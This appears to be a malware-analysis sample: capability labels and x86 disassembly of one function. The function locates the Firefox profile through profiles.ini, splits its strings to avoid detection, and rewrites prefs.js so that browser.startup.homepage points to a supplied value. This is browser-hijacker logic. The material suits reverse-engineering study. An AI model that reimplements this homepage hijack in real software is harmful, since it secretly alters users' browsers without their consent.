Function at 0x4033f0
Capabilities:
Delete file
Get common file path
Read .ini file
Read file on windows
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x1ac]
sub esp, 0x22c
mov eax, dword [0x422320]
xor eax, ebp
mov dword [ebp + 0x1a8], eax
mov eax, dword [ebp + 0x1b4]
push ebx
push esi
push edi
mov esi, 0x105
push esi
mov dword [ebp - 0x74], eax
call fcn.00409397
mov edi, eax
push esi
mov dword [ebp - 0x80], edi
call fcn.00409397
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x60]
push eax
call fcn.00408e90
push eax
xor esi, esi
lea eax, [ebp - 0x60]
push esi
push eax
call fcn.00408e10
lea eax, [ebp + 0xa4]
push eax
call fcn.00408e90
push eax
lea eax, [ebp + 0xa4]
push esi
push eax
call fcn.00408e10
add esp, 0x28
push esi
push 0x1a
push edi
push esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x60]
push edi
push eax
call fcn.00408d20
lea eax, [ebp - 0x60]
push str.Mozi
push eax
call fcn.00408d20
lea eax, [ebp - 0x60]
push str.llaFir
push eax
call fcn.00408d20
lea eax, [ebp - 0x60]
push str.efoxpro
push eax
call fcn.00408d20
lea eax, [ebp - 0x60]
push str.files.ini
push eax
call fcn.00408d20
add esp, 0x28
lea eax, [ebp - 0x60]
push eax
push 0x104
push dword [ebp - 0x6c]
push 0x41b2d6
push str.Path
push str.Profile0
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
lea eax, [ebp + 0xa4]
push edi
push eax
call fcn.00408d20
lea eax, [ebp + 0xa4]
push str.MozillaFirefox_
push eax
call fcn.00408d20
push dword [ebp - 0x6c]
lea eax, [ebp + 0xa4]
push eax
call fcn.00408d20
lea eax, [ebp + 0xa4]
push str.prefs.js
push eax
call fcn.00408d20
lea eax, [ebp + 0xa4]
push eax
call fcn.00402811
mov ebx, dword [sym.imp.KERNEL32.DLL_CreateFileA]
add esp, 0x24
push esi
push 0x80
push 3
push esi
push 3
push 0x10000000
lea eax, [ebp + 0xa4]
push eax
call ebx
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x7c], esi
cmp eax, 0xffffffff
je 0x40372e
push 0x2800
call fcn.00409397
mov edi, eax
mov dword [esp], 0x400
call fcn.00409397
push 1
mov dword [ebp - 0x64], eax
call fcn.00409397
push eax
mov dword [ebp - 0x68], eax
call fcn.00408e90
push eax
push esi
push dword [ebp - 0x68]
call fcn.00408e10
push dword [ebp - 0x64]
call fcn.00408e90
push eax
push esi
push dword [ebp - 0x64]
call fcn.00408e10
push edi
call fcn.00408e90
push eax
push esi
push edi
call fcn.00408e10
add esp, 0x38
push esi
push esi
push esi
push dword [ebp - 0x70]
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push esi
lea eax, [ebp - 0x78]
push eax
push 1
push dword [ebp - 0x68]
push dword [ebp - 0x70]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x403686
cmp dword [ebp - 0x78], esi
je 0x403681
mov ecx, dword [ebp - 0x68]
mov al, byte [ecx]
cmp al, 0xa
je 0x4035f1
cmp al, 0xd
je 0x4035f1
push ecx
push dword [ebp - 0x64]
call fcn.00408d20
pop ecx
pop ecx
jmp 0x403666
push str._browser.startup.homepage_
push dword [ebp - 0x64]
call fcn.004090f2
pop ecx
pop ecx
test eax, eax
je 0x40363a
push str.user_pref__browser.star
push edi
call fcn.00408d20
push str.tup.homepage____
push edi
call fcn.00408d20
push dword [ebp - 0x74]
push edi
call fcn.00408d20
push str.____n
push edi
call fcn.00408d20
add esp, 0x20
mov dword [ebp - 0x7c], 1
jmp 0x403651
push dword [ebp - 0x64]
push edi
call fcn.00408d20
push 0x41b890
push edi
call fcn.00408d20
add esp, 0x10
push dword [ebp - 0x64]
call fcn.00408e90
push eax
push esi
push dword [ebp - 0x64]
call fcn.00408e10
add esp, 0x10
push esi
lea eax, [ebp - 0x78]
push eax
push 1
push dword [ebp - 0x68]
push dword [ebp - 0x70]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
jne 0x4035ce
cmp dword [ebp - 0x7c], esi
jne 0x4036a8
push str.user_pref__browser.startup.homepage____
push edi
call fcn.00408d20
push dword [ebp - 0x74]
push edi
call fcn.00408d20
push str.____n
push edi
call fcn.00408d20
add esp, 0x18
push dword [ebp - 0x70]
call fcn.004033db
pop ecx
lea eax, [ebp + 0xa4]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push esi
push 0x80
push 1
push esi
push 1
push 0x40000000
lea eax, [ebp + 0xa4]
push eax
call ebx
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4036fa
push esi
lea eax, [ebp - 0x74]
push eax
push edi
call fcn.00408e90
pop ecx
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push ebx
call fcn.004033db
pop ecx
lea eax, [ebp + 0xa4]
push eax
call fcn.004029b2
pop ecx
cmp edi, esi
je 0x403712
push edi
call fcn.00409371
pop ecx
cmp dword [ebp - 0x68], esi
je 0x403720
push dword [ebp - 0x68]
call fcn.00409371
pop ecx
cmp dword [ebp - 0x64], esi
je 0x40372e
push dword [ebp - 0x64]
call fcn.00409371
pop ecx
cmp dword [ebp - 0x6c], esi
je 0x40373c
push dword [ebp - 0x6c]
call fcn.00409371
pop ecx
cmp dword [ebp - 0x80], esi
pop edi
pop esi
pop ebx
je 0x40374d
push dword [ebp - 0x80]
call fcn.00409371
pop ecx
mov ecx, dword [ebp + 0x1a8]
xor ecx, ebp
call fcn.00408f1b
add ebp, 0x1ac
leave
ret